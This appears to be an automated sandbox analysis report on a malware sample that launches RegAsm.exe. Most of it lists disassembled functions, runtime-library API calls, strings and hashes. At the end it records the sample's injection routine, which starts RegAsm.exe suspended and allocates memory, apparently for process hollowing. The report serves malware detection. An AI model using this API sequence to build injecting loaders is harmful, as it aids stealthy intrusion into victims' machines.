GetConsoleOutputCP.KERNEL32(7A18E7C2,00000000,00000000,00000000), ref: 00558AC4

Part of subcall function 0055C005: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0055DF67,?,00000000,-00000008), ref: 0055C066

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00558D16
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00558D5C
GetLastError.KERNEL32 ref: 00558DFF

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 02c84562db3c98fad455ef878ab7dbca0ae57f6865a1298bf05add676ed35f88
Instruction ID: c0e2e953aae1e6e7c68fbab58dcd358975a46ae928b399a39bb9de7c245bd999
Opcode Fuzzy Hash: 02c84562db3c98fad455ef878ab7dbca0ae57f6865a1298bf05add676ed35f88
Instruction Fuzzy Hash: 7AD17AB5D002489FCF05CFA8D8949ADBFB9FF48315F28452AE856FB351DA30A949CB50

Function 00546923 Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0054692A
UnDecorator::getSymbolName.LIBCMT ref: 005469BC
DName::operator+.LIBCMT ref: 00546AC0
DName::DName.LIBVCRUNTIME ref: 00546B63

Part of subcall function 005444DA: shared_ptr.LIBCMT ref: 005444F6

Part of subcall function 005446D9: DName::DName.LIBVCRUNTIME ref: 00544727

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: 17b545686ffbd83f461e5fa8e49ff6911f03a41484d8adaf88abe412f4fcb787
Instruction ID: adde3340624beed78fb7815e48ae6e54cb2a8d11efd9e0536a69273dc1d5f33f
Opcode Fuzzy Hash: 17b545686ffbd83f461e5fa8e49ff6911f03a41484d8adaf88abe412f4fcb787
Instruction Fuzzy Hash: DD7147B1D00219DFDB00CFA4D885BEDBFB8FB1A318F14542AE941BB291DB749944DB61

Function 00546F9D Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005470D2

Part of subcall function 00544216: __aulldvrm.LIBCMT ref: 00544247

DName::operator+.LIBCMT ref: 00547033
DName::operator=.LIBVCRUNTIME ref: 00547117
DName::DName.LIBVCRUNTIME ref: 00547149

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: 99b5cd79d29699f7cf1e02f05b5d71bffb07d26f1fc7d65a0859f400205991c3
Instruction ID: b98d7673acd3daae7ff34dee4b301045ff4dff8c8419de0e582cf73e8e56fba6
Opcode Fuzzy Hash: 99b5cd79d29699f7cf1e02f05b5d71bffb07d26f1fc7d65a0859f400205991c3
Instruction Fuzzy Hash: 81618AB0904219EFCB14CF94CC85AEEBFB4FB5A308F1494AAE941AB351D7709A44DF90

Function 0051C640 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010), ref: 0051C663

Strings

operation failed with error , xrefs: 0051C6B4
OS_Rng: , xrefs: 0051C693
P@, xrefs: 0051C739

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: operation failed with error $OS_Rng: $P@
API String ID: 1452528299-2227021971
Opcode ID: c47d9e280b39bfe97f86c1afe3e74863a323abe918de4f1992f9490999ff8e1a
Instruction ID: 7d1ade67ec2d759c352fa15240a005782d59d69d9f8779f71aae645f15b0fe31
Opcode Fuzzy Hash: c47d9e280b39bfe97f86c1afe3e74863a323abe918de4f1992f9490999ff8e1a
Instruction Fuzzy Hash: 875116B1D00248EFCB05DFA9D951BEEBBB4BF48304F2085ADE415A7381DB745A44CBA5

Function 0040BFA0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0040BFDA
__aulldiv.LIBCMT ref: 0040C000
__aulldiv.LIBCMT ref: 0040C028
__aulldiv.LIBCMT ref: 0040C048

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: cb24858b38ca5f96361cca1c3c554668d37f17c0265753c7f8a9988f1c73d6fe
Instruction ID: a8bb27bb9ea891491c7cdd180f1d72b25329bb109c8645e91b68c3f2cac08202
Opcode Fuzzy Hash: cb24858b38ca5f96361cca1c3c554668d37f17c0265753c7f8a9988f1c73d6fe
Instruction Fuzzy Hash: E121FAB5610309ABEB11DF14CC82FAE7BA5FB88704F24C459F9189F285D674E911CB98

Function 00540837 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,004F4C37,00000000,00000000,?,?,?,004F4C37,?,?,?,00000000), ref: 00540854
GetLastError.KERNEL32(?,?,?,004F4C37,?,?,?,00000000,00000000), ref: 00540860
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,004F4C37,00000000,00000000,?,?,?,004F4C37,?,?,?,00000000), ref: 00540886
GetLastError.KERNEL32(?,?,?,004F4C37,?,?,?,00000000,00000000), ref: 00540892

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction ID: 0e87ead7e97f2a384fcfa5accfbb4679788fe648df4865f963f00f746cf5b545
Opcode Fuzzy Hash: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction Fuzzy Hash: DB011236600159FB8F221F56DD08D9F3E26FBD97A4B108414FE0596160C631C821EBE0

Function 00565D2A Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0056233B,00000000,00000001,0000000C,00000000,?,00558E53,00000000,00000000,00000000), ref: 00565D41
GetLastError.KERNEL32(?,0056233B,00000000,00000001,0000000C,00000000,?,00558E53,00000000,00000000,00000000,00000000,00000000,?,0055942D,?), ref: 00565D4D

Part of subcall function 00565D13: CloseHandle.KERNEL32(FFFFFFFE,00565D5D,?,0056233B,00000000,00000001,0000000C,00000000,?,00558E53,00000000,00000000,00000000,00000000,00000000), ref: 00565D23

___initconout.LIBCMT ref: 00565D5D

Part of subcall function 00565CD5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00565D04,00562328,00000000,?,00558E53,00000000,00000000,00000000,00000000), ref: 00565CE8

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0056233B,00000000,00000001,0000000C,00000000,?,00558E53,00000000,00000000,00000000,00000000), ref: 00565D72

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2c79a9b71dde108c042268ae03deb70890c93da81b5c5ed260085af2a5d2905b
Instruction ID: 3094af20ac564f96aac9fc6e02964965070340a0e80f802341230c335d1401f4
Opcode Fuzzy Hash: 2c79a9b71dde108c042268ae03deb70890c93da81b5c5ed260085af2a5d2905b
Instruction Fuzzy Hash: FBF01536180519FBCF222FE5EC0CA9E3F66FB593B1F004110FA5996170E6328920EB90

Function 004409B0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 369COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00440EC2

Strings

`@, xrefs: 00440EB8
`XA, xrefs: 00440EAF

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: ac35285a3ee51353bbe7912fea6c108bc43d405fe717fe8e473807e3a14a736e
Instruction ID: cf9dc5a11ffdfd7da4e7bfe6e66161c0542199dd574abb9e9307dff3bba1edc7
Opcode Fuzzy Hash: ac35285a3ee51353bbe7912fea6c108bc43d405fe717fe8e473807e3a14a736e
Instruction Fuzzy Hash: BCF11AB1C102189BCB19EF91DC91AEEB778BF58304F4041AEE50A67251EF346B89CF64

Function 005554AA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00555621

Strings

-, xrefs: 00555572
+, xrefs: 0055557F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: c87c9cf9bf1fe2ee23a29c9dd72d42d820ebf7870f5806581cae8dae03fbb9d2
Instruction ID: b7ebbf75f4a4394fdac18510c5a2a831f8dc8d7d0a044abd742ea1c49a61dbf6
Opcode Fuzzy Hash: c87c9cf9bf1fe2ee23a29c9dd72d42d820ebf7870f5806581cae8dae03fbb9d2
Instruction Fuzzy Hash: CCA1D170901659AFCF24CE68C8706AE7FA2FF55326F54855BEC659B281F230D9098B50

Function 00418FF0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 261COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00419053
_memcpy_s.LIBCPMTD ref: 004191C9

Strings

0#R, xrefs: 004190D3

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::_memcpy_s
String ID: 0#R
API String ID: 285175975-3773201211
Opcode ID: a7ba7dc17e1c7df9c018ac6e81619c689052b6f9cb0b2e7441b104c8559e87de
Instruction ID: d050780ede4ed4fe07c9849112b8c1208e61c752c872a3d8e8aeee51617b1c59
Opcode Fuzzy Hash: a7ba7dc17e1c7df9c018ac6e81619c689052b6f9cb0b2e7441b104c8559e87de
Instruction Fuzzy Hash: A3C1B3B4D006189FCB04CFA8D994ADEF7B5BF88300F20829AD919AB355D734AE85CF54

Function 00417CB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00417D4B
std::ios_base::clear.LIBCPMTD ref: 00417F39

Part of subcall function 00417740: std::ios_base::clear.LIBCPMTD ref: 00417871

Strings

c[A, xrefs: 00417D7B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: c[A
API String ID: 1443086396-3980679666
Opcode ID: 95860eb03becb8723b001c641f5228f6b7c6a6bfb6d92c5c8f8a8b04b6f4d650
Instruction ID: 99249ab2a96b0c4a35e75ad57f5a14d0666851b6228f74897920b8a0745283d6
Opcode Fuzzy Hash: 95860eb03becb8723b001c641f5228f6b7c6a6bfb6d92c5c8f8a8b04b6f4d650
Instruction Fuzzy Hash: 1891D5B4E08249CFDB14CF95C495AEEFBB1BF48314F24815AD9166B391C738A982CF94

Function 00549029 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 00549084
DName::DName.LIBVCRUNTIME ref: 005491CF

Strings

..., xrefs: 00549186

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: a01b4b22351bc9d90848155d3c3f8c5a7721c8d058e1d1aa57873496cbf7ea09
Instruction ID: 624507bb90be92a33eb7ffec281aefeedb90304f70ce32e58fa6186cfe226072
Opcode Fuzzy Hash: a01b4b22351bc9d90848155d3c3f8c5a7721c8d058e1d1aa57873496cbf7ea09
Instruction Fuzzy Hash: EA51EE709042469EDB25CFA8D88E6EFBFF4BB5A308F04846ED955A7391C7359A08CB50

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632
HHA, xrefs: 0041A5A6

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: e5cc35260b0a62041f7ddd6b34b4d38e3889f0153df8824573d97a5ec29306ff
Instruction ID: 347e595dd39205f2bc9de3d43aec5eb327ea2cfb6b9896bcba43d2fe8e904ad1
Opcode Fuzzy Hash: e5cc35260b0a62041f7ddd6b34b4d38e3889f0153df8824573d97a5ec29306ff
Instruction Fuzzy Hash: BE517CB5D02209EBDF04DF94D849AEF77B5BF44304F14842AE81597381D338EAA1CB66

Function 0041FDE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCONCRTD ref: 0041FF7F

Strings

parse_error, xrefs: 0041FE0D, 0041FE3C
parse error, xrefs: 0041FE63, 0041FE92

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::exception::exception
String ID: parse error$parse_error
API String ID: 2807920213-1820534363
Opcode ID: da4b536e3c70ae7344b5a57a582ea96d1cf9bb47160310c149cb201edead3e02
Instruction ID: dbc7e88c930106883de65f009fb68dc6d8aa6a240a0e2e8309194fed98a0f7f7
Opcode Fuzzy Hash: da4b536e3c70ae7344b5a57a582ea96d1cf9bb47160310c149cb201edead3e02
Instruction Fuzzy Hash: F151EE75D00248AFCB04DF95D891AEEBBB5BF48304F10C19EE90A6B351DB746A85CF94

Function 00548716 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00548816

Part of subcall function 005444DA: shared_ptr.LIBCMT ref: 005444F6

Strings

amp, xrefs: 005487B2
cpu, xrefs: 005487C1

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction ID: 896c4ba004cd65ef6f763240b3cdf26fd80aec3528ec41c2a5a41c97531dc988
Opcode Fuzzy Hash: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction Fuzzy Hash: 96318E75D002199FCB08DF98D855AFEBFF4FB89308F50946AE545A7281DB309A44CF90

Function 00547206 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0054721D
DName::DName.LIBVCRUNTIME ref: 005472A2

Strings

A, xrefs: 00547282

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: a03ef680b9cb1b220ebf54a6322b2d276013e43f7fe24a9ca7688f7eb00eaf59
Instruction ID: cfba32f82a06b1ae547287a4b51561787bedcfb965af2065dbc01e39e5182c2b
Opcode Fuzzy Hash: a03ef680b9cb1b220ebf54a6322b2d276013e43f7fe24a9ca7688f7eb00eaf59
Instruction Fuzzy Hash: 98219D78908209AFDF04DFA4EC06AEC7FB1FB49308F148499F9459B251C7B19A85DF40

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 005400F1: _Yarn.LIBCPMT ref: 00540110
Part of subcall function 005400F1: _Yarn.LIBCPMT ref: 00540134

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 76ee383a0a995e39bfa16aa8301b5174875aea1b19ae8f83a7f9ccfc5e6fa2fa
Instruction ID: 03bdc895a0f5d6872fa9838c6808d5c4a4255a01d2d8090fabff2f5e12dd2b28
Opcode Fuzzy Hash: 76ee383a0a995e39bfa16aa8301b5174875aea1b19ae8f83a7f9ccfc5e6fa2fa
Instruction Fuzzy Hash: 983128B4E04209DFCB04CF98C991BAEFBB1FF48304F248199D805AB381C7749A41CBA5

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 00416567, 00416545, 00416553, 0041655D
eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Function 005459C3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00545A06
DName::operator+=.LIBCMT ref: 00545A46

Strings

void, xrefs: 00545A28

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+=
String ID: void
API String ID: 2247604192-3531332078
Opcode ID: 1a68211051f628c7579dd7c2b5ea19785b96c7caec05f1625b87c04ae9c91e5a
Instruction ID: 1f39a911ced60626433c28cc442ee7e4056fd6b043f7a312c73414e0e6e33478
Opcode Fuzzy Hash: 1a68211051f628c7579dd7c2b5ea19785b96c7caec05f1625b87c04ae9c91e5a
Instruction Fuzzy Hash: 1A1154B594061AABCF05EFA5D889AEEBFB8FF44308F004545E40267282EB705744CF50

Function 00415540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041557C

Strings

`@, xrefs: 00415572
`XA, xrefs: 00415569

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: e302d00108528a46a1a35d2a8de7e09fc91640628536632f79a55e4ed24a067c
Instruction ID: 08a490f52de3c5040edce6788ffc0187c784e8b8f2f34fffafd03698af9bd941
Opcode Fuzzy Hash: e302d00108528a46a1a35d2a8de7e09fc91640628536632f79a55e4ed24a067c
Instruction Fuzzy Hash: 59F0FFB1D00209AFCF04DFACD95599DBFB5AB42301F9041A9E405BF345DA35AF50CB95

Function 004155B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004155EC

Strings

`@, xrefs: 004155E2
`XA, xrefs: 004155D9

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: a59deb7a67acbc6248ceb8a90021aff4319b00112a47edc3c4de445c96a7d9c2
Instruction ID: 88ab926aff57d90664ab7922b7cb5e9842be8a8fca64f07861ea22d7cb8f09c7
Opcode Fuzzy Hash: a59deb7a67acbc6248ceb8a90021aff4319b00112a47edc3c4de445c96a7d9c2
Instruction Fuzzy Hash: 3AF049B1E00108AFCB04DFACDD559AEBFB0EB81302F508199E404BB345DA35AE50CBA4

Function 004157F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041582C

Strings

`@, xrefs: 00415822
`XA, xrefs: 00415819

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: f949b47fbd6e0024f454bf7937cf18c8f160b7d410d04c0916410c561404fd23
Instruction ID: 23a3a7d8c62d0292b920b79e1ea0a251c9e9b4556a0ed5d76f89befb81dade5a
Opcode Fuzzy Hash: f949b47fbd6e0024f454bf7937cf18c8f160b7d410d04c0916410c561404fd23
Instruction Fuzzy Hash: 30F04FB1E0010CEFCB04DFACD95599DBFB0AB81301F9041A9E845BB346DA359E50CB94

Function 00415780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004157BC

Strings

`@, xrefs: 004157B2
`XA, xrefs: 004157A9

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 9d49c7bd113372ec12445a8242aef31acc07b681a11d04ef2080a64199a2ab69
Instruction ID: 69ef72a416037fdf3149eeaf2e42ed360d816649ee5327dd42f27257b19032d0
Opcode Fuzzy Hash: 9d49c7bd113372ec12445a8242aef31acc07b681a11d04ef2080a64199a2ab69
Instruction Fuzzy Hash: 17F04FB1E00208EFCB04DFE8D95599EBFB4BB41341F208199E404BB355DA31AE50CB95

Function 00549D7D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00549DBD

Strings

LV, xrefs: 00549DA6, 00549DA9
{flat}, xrefs: 00549D9A

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: LV${flat}
API String ID: 1333004437-3196673279
Opcode ID: 805b04ba5fe45dbc9f5681ca1f32bc76c11c8952404d32696616745abd5b6bea
Instruction ID: bd933459744bc577db08b3ea40e9fedb6cd0767b7467071f502a0e930009793d
Opcode Fuzzy Hash: 805b04ba5fe45dbc9f5681ca1f32bc76c11c8952404d32696616745abd5b6bea
Instruction Fuzzy Hash: F5F065B4504209EFD700DF84C857BDB3FE4BB06348F104155AA49DF242DBB0A984DB91

Function 00415860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041587D

Strings

`@, xrefs: 00415873
`XA, xrefs: 0041586A

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 3a31028c2734aaa7f2df6b62a4badb225951a77dcbd4ca5462a77be9aca45d3f
Instruction ID: 9a51a63163f444b2d5d531d0c02e56d26d9bbaf05a32c5ba3a563b95f0821741
Opcode Fuzzy Hash: 3a31028c2734aaa7f2df6b62a4badb225951a77dcbd4ca5462a77be9aca45d3f
Instruction Fuzzy Hash: 8CE065F5904208EBCB04DF84D9518AD7BB4BB46301F504098F9046B351D6329F10D764

Function 00415A10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00415A43

Strings

`@, xrefs: 00415A39
`XA, xrefs: 00415A30

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: a0960f7a3dde3f673cb292974b9c3c2cdc03891b5d4733d1f7e33650c8e19b30
Instruction ID: 07d823033d411da519a8fa3d30cda9104c39d0445e64d8b7c4167539fe653b04
Opcode Fuzzy Hash: a0960f7a3dde3f673cb292974b9c3c2cdc03891b5d4733d1f7e33650c8e19b30
Instruction Fuzzy Hash: D9E01AB4D01108EBCF04EF98D9515ADBFB4EF8630AF600199D944AB341DA716E508BA5

Analysis Process: Yt_9y5LuIpBZXKd9EiYluKkG.exePID: 1280, Parent PID: 6388COMMON

Execution Graph

Execution Coverage:	30.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.4%
Total number of Nodes:	28
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 024C21A5 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,024C2117,024C2107), ref: 024C2314
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 024C2327
